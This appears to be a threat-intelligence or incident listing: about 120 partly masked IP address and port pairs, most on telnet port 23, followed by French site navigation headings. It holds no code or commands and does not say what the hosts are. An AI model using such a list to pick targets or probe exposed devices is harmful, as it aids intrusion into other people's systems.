10#.###.143.140:7192
73.###.9.58:6881
10#.##.228.34:1023
59.##.7.142:23
19#.##8.200.37:23
21#.##5.81.226:23
16#.##9.140.6:23
83.###.184.163:1023
10#.##2.64.14:23
73.###.228.99:23
97.##.185.5:23
20#.##6.55.17:23
18#.###.215.246:63556
72.##.166.226:51413
18#.##.3.116:8080
99.###.15.169:51413
11#.##.157.183:4000
27.##.74.117:1023
20#.##.144.132:23
20#.##2.174.100:23
18#.##2.222.74:23
40.###.247.14:23
8.###.184.185:1023
17#.#1.11.56:23
27.##1.67.11:23
43.##.12.39:23
82.##.82.207:23
19#.##8.3.1:61112
20#.##.42.55:32657
1.#.#66.80:8082
17#.##0.27.158:1023
17#.##.246.100:23
15#.##0.211.120:23
18#.#2.32.79:23
11#.#4.15.23:23
20#.###.117.132:1023
19#.##8.51.88:23
15#.##2.130.117:23
32.##.16.166:23
19#.##4.121.19:23
20#.##.42.72:1669
11#.##.135.174:31942
20#.##.45.217:45287
78.###.64.123:1023
16#.##.60.126:23
19#.##.121.179:23
45.###.230.151:23
10#.#14.8.94:23
10#.##.152.174:1023
9.##.81.185:23
70.#.248.100:23
22#.##.212.102:23
45.##.183.227:23
20#.##.45.163:63889
20#.##.42.138:10445
18#.##.113.217:1023
15#.##6.175.233:23
23.##1.93.77:23
13#.##6.102.88:23
13#.##5.55.98:23
20#.##.242.170:1023
10#.##3.134.204:23
17#.##7.59.153:23
13.###.227.255:23
13#.##3.90.89:23
12#.##5.0.70:27015
21#.##6.79.27:5975
31.##.96.89:1023
13#.#.170.61:23
66.###.230.129:23
16#.##9.188.216:23
10#.##8.138.80:23
13#.##9.165.13:1023
17#.##8.223.227:23
21#.##.175.237:23
13.###.26.193:23
15#.##5.156.235:23
37.###.228.160:38640
90.##.7.92:31832
12#.##7.58.160:1434
10#.##.16.127:1023
10#.##2.189.71:23
10#.##2.25.86:23
63.###.42.188:23
81.##2.40.7:23
21#.#.127.48:1023
48.###.122.140:23
21#.#2.68.15:23
15#.##.227.31:23
10#.##7.153.217:23
27.###.158.134:60001
20#.##.42.77:22026
22#.##.57.150:1086
20#.##.42.161:32027
20#.##.42.208:48379
12#.##.35.86:1023
73.##.122.116:23
31.##.165.70:23
10#.##2.178.12:23
15#.##2.187.229:23
86.###.52.46:1023
19#.##.83.130:23
4.###.223.199:23
16#.##1.187.10:23
10#.##5.8.167:23
20#.##.42.225:35773
20#.##.42.158:57396
20#.##.42.17:42603
22#.###.101.130:8083
10#.##6.79.4:1023
15#.##.222.163:23
22#.##.251.74:23
37.##.173.41:23
12#.##8.68.152:23
13#.##.152.66:1023
98.###.67.204:23
48.##.154.78:23
10#.##6.87.95:23
39.##1.47.2:23
20#.##.45.194:28509

TECHNOLOGIES

TERMINOLOGIE

COURS ET EDU

MYTHES

Technical Information

Recommandations pour le traitement